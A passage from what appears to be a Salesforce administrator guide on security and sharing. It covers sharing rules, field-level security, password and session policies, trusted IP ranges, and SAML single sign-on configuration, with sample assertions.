Users or All Customer Portal Users group displays. These groups includes all users allowed
to access your PRM or Customer Portal, except for High Volume Customer Portal users.
Roles All roles defined for your organization. This includes all of the users in the specified role.
Portal Roles All roles defined for your organization's PRM portal, partner portal, or Customer Portal.
This includes all users in the specified portal role, except High Volume Customer Portal
users because they don't have roles. Note that the name of a portal role includes the name
of the account with which it is associated, except for person accounts, which include the
user Alias.
Roles and Subordinates All roles defined for your organization. This includes all of the users in the specified role
plus all of the users in roles below that role, including PRM portal, partner portal, and
Customer Portal roles that contain users with the Customer Portal Manager license type.
Note: Portal roles are only included in this category if a PRM Portal, partner
portal, or Customer Portal is enabled for your organization.
The Roles, Internal and Portal Subordinates data set category is only available in your
organization after you create at least one role in the role hierarchy.
Portal Roles and Subordinates All roles defined for your organization's PRM portal, partner portal, or Customer Portal.
This includes all of the users in the specified portal role plus all of the users below that
role in the portal role hierarchy, except for High Volume Customer Portal users because
they don't have roles. Note that the name of a portal role includes the name of the account
with which it is associated, except for person accounts, which include the user Alias.
537
Security and Sharing About Sharing Rules
Category Description
Roles and Internal Subordinates All roles defined for your organization. This includes all of the users in the specified role
plus all of the users in roles below that role, excluding PRM portal, partner portal, and
Customer Portal roles.
This category only displays if a PRM portal, partner portal, or Salesforce.com Customer
Portal is enabled for your organization.
The Roles and Internal Subordinates data set category is only available in your organization
after you create at least one role in the role hierarchy and enable a portal.
Roles, Internal and Portal All roles defined for your organization. This includes all of the users in the specified role
Subordinates plus all of the users in roles below that role, including PRM portal, partner portal, and
Customer Portal roles.
This category only displays if a PRM portal, partner portal, or Salesforce.com Customer
Portal is enabled for your organization.
The Roles and Internal Subordinates data set category is only available in your organization
after you create at least one role in the role hierarchy and enable a portal.
See Also:
Sharing Rule Considerations
Sample Uses for Sharing Rules
538
Security and Sharing About Sharing Rules
Sharing rules allow you to selectively grant data access to defined sets of users. Review the following notes before using sharing
rules:
• You can use sharing rules to grant wider access to data. You cannot restrict access below your organization-wide default
levels.
• Sharing rules apply to all new and existing records that meet the definition of the source data set.
• Sharing rules apply to both active and inactive users.
• When you change the access levels for a sharing rule, all existing records are automatically updated to reflect the new access
levels.
• When you delete a sharing rule, the sharing access created by that rule is automatically removed.
• When you transfer records from one user to another, the sharing rules are reevaluated to add or remove access to the
transferred records as necessary.
• When you modify which users are in a group, role, or territory, the sharing rules are reevaluated to add or remove access
as necessary.
• Sharing rules automatically grant additional access to related records. For example, opportunity sharing rules give role or
group members access to the account associated with the shared opportunity if they do not already have it. Likewise, contact
and case sharing rules provide the role or group members with access to the associated account as well.
• If multiple sharing rules give a user different levels of access to a record, the user gets the most permissive access level.
• Managers in the role hierarchy are automatically granted the same access that users below them in the hierarchy have from
a sharing rule, provided that the object is a standard object or the Grant Access Using Hierarchies option is selected.
• Regardless of sharing rules, users can, at a minimum, view the accounts in their territories. Also, users can be granted access
to view and edit the contacts, opportunities, and cases associated with their territories' accounts.
• Making changes to sharing rules may require changing a large number of records at once. To process these changes
efficiently, Salesforce.com may queue your request and send an email notification when the process has completed.
• You can create sharing rules between Customer Portal users and Salesforce.com users. Similarly, you can create sharing
rules between Customer Portal users from different accounts as long as they have the Customer Portal Manager user
license.
• You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and Internal
Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this wizard to convert
any publicly accessible report, dashboard, and document folders to folders that are accessible by all users except for portal
users.
539
Security and Sharing Setting Field-Level Security
• Lead sharing rules do not automatically grant access to lead information after leads are converted into account, contact,
and opportunity records.
See Also:
Setting Sharing Rules
About Sharing Rules
You can define which fields users can access. Field-level security settings let administrators restrict users’ access to view and
edit specific fields in the following places:
The fields that users see on detail and edit pages are a combination of page layouts and field-level security settings. The most
restrictive field access settings of the two always apply. For example, if a field is required in the page layout and read only in
the field-level security settings, the field-level security overrides the page layout and the field will be read only for the user.
Important: Field-level security doesn't prevent searching on the values in a field. To prevent users from searching
and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer
Support for assistance with setting up your organization to prevent unwanted access to those field values.
You can define field-level security for multiple fields on a single profile or for a single field on all profiles.
540
Security and Sharing Setting Field-Level Security
2. Select a profile.
3. In the Field-Level Security section, click View next to the tab you want to modify, and then click Edit.
4. Specify the field's access level.
5. Click Save.
After setting field-level security for users based on their profiles, you can:
• Create page layouts to organize the fields on detail and edit pages.
Tip: Use field-level security as the means to restrict users’ access to fields; then use page layouts primarily to
organize detail and edit pages within tabs. This reduces the number of page layouts for you to maintain.
Note: Roll-up summary and formula fields are always read only on detail pages and not available on edit pages. They
may also be visible to users even though they reference fields that your users cannot see. Universally required fields
always display on edit pages regardless of field-level security.
The relationship group wizard allows you to create and edit relationship groups regardless of field-level security. For
more information on the behaviors of relationship group members, see Relationship Group Considerations on page
1867.
541
Security and Sharing Setting Password Policies
5. Click Save.
See Also:
Overview of Page Layouts and Field-Level Security
Managing Profiles
Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security
For your organization’s security, you can set various password and login policies.
Field Description
User passwords expire in Length of time until all user passwords expire and must be
changed. Users with the “Password Never Expires”
permission are immune from this setting. The default is 90
days. This setting is not available for Self-Service portals,
Customer Portals, or partner portals.
Enforce password history Setting to save users’ previous passwords so that they must
always reset their password to a new, unique password.
Password history is not saved until you set this value. The
default is 3 passwords remembered. You cannot select the
No passwords remembered option unless you select the
Never expires option for the User passwords expire
in field. This setting is not available for Self-Service portals,
Customer Portals, or partner portals.
Minimum password length Minimum number of characters required for a password.
When you set this value, existing users are not affected until
the next time they change their passwords. The default is 8
characters.
Password complexity requirement Restriction on which types of characters must be used in a
user’s password. Must mix alpha and numeric is the default
option. This option requires at least one alphabetic character
and one number.
542
Security and Sharing Setting Password Policies
Field Description
Password question requirement Setting to require that a user’s answer to the password hint
question not contain the password itself. This setting is not
available for Self-Service portals, Customer Portals, or
partner portals.
Maximum invalid login attempts Number of bad logins allowed by a user before he or she
becomes locked out. This setting is not available for
Self-Service portals, Customer Portals, or partner portals.
Lockout effective period Duration of the login lockout. This setting is not available
for Self-Service portals, Customer Portals, or partner portals.
3. Click Save.
Note: If a user becomes locked out, he or she can wait until the lockout period expires, or the administrator can view
the user’s information and click Unlock. This button is only available when a user is locked out.
See Also:
Setting Login Restrictions
Resetting Passwords
Expiring Passwords
Administrator setup guide: Security Implementation Guide
543
Security and Sharing Setting Session Security
You can modify session security settings to control the session timeout warning and to prevent “IP shifting” for users that are
logged in.
Field Description
Timeout value Length of time after which the system prompts users who
have been inactive to log out or continue working. Select a
value between 30 minutes and 8 hours. Choose a shorter
timeout period if your organization has sensitive information
and you want to enforce stricter security.
Disable session timeout warning popup Determines whether the system prompts users with a timeout
warning message after any length of inactivity. Select this
option to provide extra security.
Lock sessions to the IP address from which Determines whether user sessions are locked to the IP
they originated address from which the user logged in, helping to prevent
unauthorized persons from hijacking a valid session.
Selecting this option prevents you from registering any
Force.com AppExchange packages, see “Registering Apps”
in the Force.com AppExchange online help. In addition,
you cannot use this option with partner relationship
management.
Require secure connections (HTTPS) Determines whether logins and all access to Salesforce.com
are required to use HTTPS.
This option is enabled by default, but it can be disabled to
allow HTTP connections too. You should require HTTPS
connections for enhanced security.
544
Security and Sharing Setting Session Security
Field Description
Note: The forgotten password page can only be
accessed using HTTPS.
Enable caching and password autocomplete on Determines whether users' browsers can store usernames
login page and passwords, and, after an initial log in, automatically
enter this information on the login page.
By default, caching and autocomplete is enabled.
3. Click Save.
See Also:
Setting Login Restrictions
Administrator setup guide: Security Implementation Guide
545
Security and Sharing Restricting Login IP Ranges for Your Organization
To help protect your organization's data from unauthorized access, you can specify a list of IP addresses from which users can
always log in without receiving a login challenge:
• 0.0.0.0 to 1.255.255.255
• 132.0.0.0 to 132.255.255.255
• 132.0.0.0 to 133.255.255.255
However, ranges like 0.0.0.0 to 2.255.255.255 or 132.0.0.0 to 134.0.0.0 are too large.
4. Click Save.
Note: For organizations that were activated before December 2007, Salesforce.com automatically populated your
organization's trusted IP address list in December 2007, when this feature was introduced. The IP addresses from
which trusted users had already accessed Salesforce.com during the past six months were added.
See Also:
Restricting Login IP Ranges on Profiles
Setting Login Restrictions
Administrator setup guide: Security Implementation Guide
546
Security and Sharing About Single Sign-On
SINGLE SIGN ON
Single sign-on is a process that allows network users to access all authorized network resources without having to log in
separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database
or other client application rather than having separate user passwords managed by Salesforce.com.
Salesforce.com offers the following ways to use single sign-on:
• Federated authentication using Security Assertion Markup Language (SAML): When federated authentication is
enabled, salesforce.com does not validate a user's password. Instead, salesforce.com verifies an assertion in the HTTP
POST request, and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated
authentication is available in all Editions.
• Delegated authentication: When delegated authentication is enabled, salesforce.com does not validate a user's password.
Instead, salesforce.com makes a Web services call to your organization to establish authentication credentials for the user.
You must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication
single sign-on for your organization..
The Single Sign-On Settings page displays which version of single sign-on is available for your organization. To learn more
about the single sign-on settings, see Configuring SAML Settings for Single Sign-On on page 559. For more information
about SAML and Salesforce.com security, see the Security Implementation Guide.
547
Security and Sharing About SAML
• Leverage Existing Investment: Many companies use a central LDAP database to manage user identities. By delegating
Salesforce.com authentication to this system, when a user is removed from the LDAP system, they can no longer access
Salesforce.com. Consequently, users who leave the company automatically lose access to company data after their departure.
• Time Savings: On average, a user takes five to 20 seconds to log in to an online application; longer if they mistype their
username or password and are prompted to reenter them. With single sign-on in place, the need to manually log in to
Salesforce.com is avoided. These saved seconds add up to increased productivity.
• Increased User Adoption: Due to the convenience of not having to log in, users are more likely to use Salesforce.com on
a regular basis. For example, users can send email messages that contain links to information in Salesforce.com such as
records and reports. When the recipients of the email message click the links, the corresponding Salesforce.com page opens
automatically.
• Increased Security: Any password policies that you have established for your corporate network will also be in effect for
Salesforce.com. In addition, sending an authentication credential that is only valid for a single use can increase security for
users who have access to sensitive data.
See Also:
Best Practices for Implementing Single Sign-On
Configuring SAML Settings for Single Sign-On
Viewing Single Sign-on Settings
Validating SAML Settings for Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide
About SAML
Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions
Security Assertion Markup Language (SAML) is an XML-based standard that allows you to communicate authentication
decisions between one service and another. It underlies many Web single sign-on solutions. Salesforce.com supports SAML
for single sign-on into Salesforce.com from a corporate portal or identity provider.
Much of the work to set up single sign-on using SAML occurs with your identity provider:
1. Establish a SAML identity provider and gather information about how they will connect to Salesforce.com. This is the
provider that will send single sign-on requests to Salesforce.com.
2. Provide information to your identity provider, such as the URLs for the start and logout pages.
548
Security and Sharing Working With Your Identity Provider
3. Configure Salesforce.com using the instructions in Configuring SAML Settings for Single Sign-On. This is the only step
that takes place in Salesforce.com.
Your identity provider should send SAML assertions to Salesforce.com using the SAML Web Single Sign-on Browser POST
profile. Salesforce.com sends SAML responses to the Identity Provider Login URL specified in Setup ➤ Security
Controls ➤ Single Sign-On Settings. Salesforce.com receives the assertion, verifies it against your Salesforce.com configuration,
and allows single sign-on if the assertion is true.
If you have problems with the SAML assertion after you configure Salesforce.com for SAML, use the SAML Assertion
Validator to validate the SAML assertion. You may need to obtain a SAML assertion from your identity provider.
If your users are having problems using SAML to login, you can review the SAML login history to determine why they were
not able to log in and share that information with your identity provider.
If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download
Metadata to send them the downloaded XML file, which they can then upload to automatically configure their settings for
connecting to your Salesforce.com organization.
1. You must gather the following information from your identity provider before configuring Salesforce.com for SAML.
549
Security and Sharing Working With Your Identity Provider
Note: Attribute Name, Attribute URI, and Name ID format are only necessary if the SAML User ID
Location is in an Attribute element, and not the name identifier element of a Subject statement.
You may also want to share more information about these values with your identity provider.
Tip: Enable Salesforce.com for SAML and take a screen shot of the page for your identity provider. Click Setup
➤ Security Controls ➤ Single Sign-On Settings, click Edit, then select SAML Enabled.
2. Work with your identity provider to setup the start, login, and logout pages.
3. Share the example SAML assertions with your identity provider so they can determine the format Salesforce.com requires
for successful single sign-on.
The start, error, login, and logout pages can be customized for single sign-on users using SAML 1.1 or 2.0.
As part of your configuration, you need to decide the following:
• The logout page: the URL to direct the user to when they click the Logout link in Salesforce.com. The default is
http://www.salesforce.com.
• If your identity provider uses SAML 1.1, the start page: the URL to direct the user to when sign-on successfully completes.
This URL can be absolute, such as https://na1.salesforce.com/001/o or it can be relative, such as /001/o.
In SAML 2.0, the start page is the page the user attempted to access before they were authenticated. The SAML 2.0 start
page must support Sp-init single sign-on.
If you are using SAML 2.0, you can also use the RelayState parameter to control where users get redirected after a
successful login.
• The single sign-on start page (ssostartpage): where Salesforce.com sends a SAML request to start the login sequence.
After you share these values with your identity provider, they will need to use these values either in the login URL or the
assertion.
550
Security and Sharing Working With Your Identity Provider
You can also decide if you want users to be directed to a custom error page if there's an error during SAML login: It must be
a publicly accessible page, such as a public site Visualforce page. The URL can be absolute or relative. It can also be a Visualforce
page. Use this value when you configure SAML.
Share the example SAML assertions with your identity provider so they can determine the format of the information
Salesforce.com requires for successful single-sign on.
In addition to the general single sign-on examples for both SAML 1.1 and SAML 2.0, use the following samples for the
specific feature:
SAML User ID type is the Salesforce.com username, and SAML User ID location is the <NameIdentifier>
element in the <Subject> element
SAML 1.1:
<Subject>
<NameIdentifier>user101@salesforce.com</NameIdentifier>
</Subject>
SAML 2.0:
<saml:Subject>
<saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user101@salesforce.com</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:44:24.173Z"
Recipient="http://localhost:9000"/>
</saml:SubjectConfirmation>
</saml:Subject>
551
Security and Sharing Working With Your Identity Provider
SAML User ID type isSalesforce.com username, and SAML User ID location is the <Attribute> element
SAML 1.1:
<AttributeStatement>
<Subject>
<NameIdentifier>this value doesn't matter</NameIdentifier>
<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>
</SubjectConfirmation>
</Subject>
<Attribute AttributeName="MySfdcName" AttributeNamespace="MySfdcURI">
<AttributeValue>user101@salesforce.com</AttributeValue>
</Attribute>
</AttributeStatement>
SAML 2.0:
<saml:AttributeStatement>
<saml:Attribute FriendlyName="fooAttrib" Name="SFDC_USERNAME"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101@salesforce.com
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
SAML User ID type is the Salesforce.com User object's FederationIdentifier field, and SAML User ID location
is the <NameIdentifier> element in the <Subject> element
SAML 1.1:
<AttributeStatement>
<saml:Subject>
<saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.0:assertion"
NameQualifier="www.saml_assertions.com">
MyName
</saml:NameIdentifier>
</saml:Subject>
</AttributeStatement>
SAML 2.0:
<saml:Subject>
<saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">MyName</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:48:25.730Z"
Recipient="http://localhost:9000/"/>
</saml:SubjectConfirmation>
</saml:Subject>
Note: The name identifier can be any arbitrary string, including email addresses or numeric ID strings.
552
Security and Sharing Working With Your Identity Provider
SAML User ID type is theSalesforce.com User object's FederationIdentifier field, and SAML User ID location
is the <Attribute> element
SAML 1.1:
<AttributeStatement>
<Subject>
<NameIdentifier>who cares</NameIdentifier>
<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>
</SubjectConfirmation>
</Subject>
<Attribute AttributeName="MyName" AttributeNamespace="MyURI">
<AttributeValue>user101</AttributeValue>
</Attribute>
</AttributeStatement>
SAML 2.0:
<saml:AttributeStatement>
<saml:Attribute FriendlyName="fooAttrib" Name="SFDC_ATTR"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
SAML User ID type is the Salesforce.com username, and SAML User ID location is the <NameIdentifier>
element in the <Subject> element
The following is a complete SAML response, for SAML 2.0:
<samlp:Response ID="_257f9d9e9fa14962c0803903a6ccad931245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="_3c39bc0fe7b13769cab2f6f45eba801b1245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">
saml01@salesforce.com</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:50:10.738Z"
Recipient="https://login.www.salesforce.com"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2009-06-17T18:45:10.738Z"
NotOnOrAfter="2009-06-17T18:50:10.738Z">
553
Security and Sharing Working With Your Identity Provider
<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2009-06-17T18:45:10.738Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7L5
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="ssostartpage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/security/saml/saml20-gen.jsp
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/security/del_auth/SsoLogoutPage.html
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
<saml:AttributeStatement>
<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7P5</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
554
Security and Sharing Working With Your Identity Provider
The following is a complete SAML assertion statement that can be used for single sign-on for portals. The organization is
using federated sign-on, which is included in an attribute, not in the subject.
<samlp:Response ID="_f97faa927f54ab2c1fef230eee27cba21245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="_f690da2480a8df7fcc1cbee5dc67dbbb1245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">null
</saml:NameID>
−
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:48:25.456Z"
Recipient="https://www.salesforce.com/?saml=02HKiPoin4f49GRMsOdFmhTgi
_0nR7BBAflopdnD3gtixujECWpxr9klAw"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2009-06-17T18:43:25.456Z"
NotOnOrAfter="2009-06-17T18:48:25.456Z">
<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2009-06-17T18:43:25.456Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7Z5
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="ssostartpage"
555
Security and Sharing Working With Your Identity Provider
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/qa/security/saml/saml20-gen.jsp
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/qa/security/del_auth/SsoLogoutPage.html
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
<saml:AttributeStatement>
<saml:Attribute Name="portal_id">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">060900000004cDk
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="organization_id">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">00D900000008bX0
</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="siteurl">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">https://ap1.force.com/mySuffix</saml:AttributeValue>
</saml:Attribute>
556
Security and Sharing Working With Your Identity Provider
Before you can configure Salesforce.com for SAML, you must receive information from your identity provider. This information
must be used on the single sign-on page.
The following information may be useful for your identity provider.
Field Description
SAML Version The version of SAML your identity provider uses. Salesforce.com currently supports version
1.1 and 2.0. The SAML specifications for the various versions are linked below:
• SAML 1.1
• SAML 2.0
Issuer The Entity ID—a URL that uniquely identifies your SAML identity provider. SAML
assertions sent to Salesforce.com must match this value exactly in the <saml:Issuer>
attribute of SAML assertions.
Entity ID The issuer in SAML requests generated by Salesforce.com, and is also the expected audience
of any inbound SAML Responses. This value is always https://saml.salesforce.com.
Identity Provider The authentication certificate issued by your identity provider.
Certificate
557
Security and Sharing Working With Your Identity Provider
Field Description
SAML User ID Type The element in a SAML assertion that contains the string that identifies a Salesforce.com
user. Values are:
Assertion contains User's Salesforce username
Use this option if your identity provider passes the Salesforce.com username in SAML
assertions.
Assertion contains the Federation ID from the User object
Use this option if your identity provider passes an external user identifier, for example
an employee ID, in the SAML assertion to identify the user.
SAML User ID Location The location in the assertion where a user should be identified. Values are:
Attribute Name If “User ID is in an Attribute element” is selected, this contains the value of the
AttributeName that is specified in <Attribute> that contains the User ID.
Attribute URI If SAML 1.1 is the specified SAML version and “User ID is in an Attribute
element” is selected, this contains the value of the AttributeNamespace that is specified
in <Attribute>.
Name ID Format If SAML 2.0 is the specified SAML version and “User ID is in an Attribute
element” is selected, this contains the value for the nameid-format. Possible values include
unspecified, emailAddress or persistent. All legal values can be found in the “Name
Identifier Format Identifiers” section of the Assertions and Protocols SAML 2.0 specification.
558
Security and Sharing Configuring SAML Settings for Single Sign-On
• ssoStartPage is the page to which the user should be redirected when trying to log in with SAML. The user is directed
to this page when requesting a protected resource in Salesforce.com, without an active session. The ssoStartPage should
be the SAML identity provider's login page.
• startURL is the URL where you want the user to be directed when sign-on completes successfully. This URL can be
absolute, such as https://na1.salesforce.com/001/o or it can be relative, such as /001/o. This parameter is only
used in SAML 1.1. In SAML 2.0, the start URL is the page the user attempted to access before they were authenticated.
• logoutURL is the URL where you want the user to be directed when they click the Logout link in Salesforce.com. The
default is http://www.salesforce.com.
The following sample TARGET field is for SAML 1.1, and includes properly-encoded parameters. It passes a customized start
page, as well as start and logout URLs embedded as parameter values in the query string.
https://saml.salesforce.com/?ssoStartPage=https%3A%2F
%2Fwww.customer.org%2Flogin%2F&startURL=%2F001%2Fo&logoutURL=http%3A%2F%2Fwww.salesforce.com
The following is an example of an <AttributeStatement> for SAML 2.0 that contains both ssoStartPage and
logoutURL:
<saml:AttributeStatement>
<saml:Attribute Name="ssoStartPage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">
http://www.customer.org
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="logoutURL"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
https://www.salesforce.com
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
To configure SAML settings for single sign-on from your corporate identity provider to Salesforce.com:
559
Security and Sharing Configuring SAML Settings for Single Sign-On
If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download
Metadata to send them the downloaded XML file, which they can then upload to automatically configure their settings for
connecting to your Salesforce.com organization.
After you have configured and saved your SAML settings, test them by trying to access the identity provider's application.
Your identity provider directs the user's browser to POST a form containing SAML assertions to the Salesforce.com login
page. Each assertion is verified, and if successful, single sign-on is allowed.
If you have difficulty signing on using single sign-on after you have configured and saved your SAML settings, use the SAML
Assertion Validator. You may have to obtain a SAML assertion from your identity provider first.
If your users are having problems using SAML to login, you can review the SAML login history to determine why they were
not able to log in and share that information with your identity provider.
See Also:
About Single Sign-On
Best Practices for Implementing Single Sign-On
Viewing Single Sign-on Settings
Validating SAML Settings for Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide
560
Security and Sharing Viewing Single Sign-on Settings
After you have configured your Salesforce.com organization to use SAML, you can view the single sign-on settings. Click
Setup ➤ Security Controls ➤ Single Sign-on Settings.
This page lists the details of your SAML configuration. Most of these fields are the same as the fields on the page where you
configured SAML. The following fields contain information automatically generated by completing the configuration. The
available fields depend on your configuration.
Field Description
Salesforce.com Login If you select “Assertion contains User's Salesforce username” for SAML User ID Type and
URL “User ID is in the NameIdentifier element of the Subject statement” for SAML User ID
Location, this URL is of the form https://login.salesforce.com or for sandbox,
https://test.salesforce.com. For all other selections, a similar URL is displayed; it
is appended with additional encrypted material.
Salesforce.com Logout Displays the Salesforce.com logout URL that the user is directed to after he or she logs off.
URL This URL is only used if no value is specified for Identity Provider Logout URL.
561
Security and Sharing Validating SAML Settings for Single Sign-On
• If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download
Metadata to send them the downloaded XML file, which they can then upload to automatically configure their settings
for connecting to your Salesforce.com organization.
See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Viewing Single Sign-on Settings
Validating SAML Settings for Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide
If your users have difficulty logging into Salesforce.com after you configure Salesforce.com for single sign-on, use the SAML
Assertion Validator and the login history to validate the SAML assertions sent by your identity provider.
1. Obtain a SAML assertion from your identity provider. The assertion can be either in plain XML format or a base64
encoded.
If a user tries to log in to Salesforce.com and fails, the invalid SAML assertion is used to automatically populate the SAML
Assertion Validator if possible.
2. Click Setup ➤ Security Controls ➤ Single Sign-On Settings, then click SAML Assertion Validator.
3. Enter the SAML assertion into the text box, and click Validate.
562
Security and Sharing Validating SAML Settings for Single Sign-On
4. Share the results of the validation errors with your identity provider.
See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide
Conditions Statement
If the assertion contains a <Conditions> statement, it must contain a valid timestamp.
Timestamps
The validity period specified in an assertion is honored. In addition, an assertion's timestamp must be less than five
minutes old, plus or minus three minutes, regardless of the assertion's validity period setting. This allows for differences
between machines. The NotBefore and NotOnOrAfter constraints must also be defined and valid.
Attribute
If your Salesforce.com configuration is set to User ID is in an Attribute element, the assertion from the
identity provider must contain an <AttributeStatement>.
If you are using SAML 1.1, both <AttributeName> and <AttributeNamespace> are required as part of the
<AttributeStatement>.
563
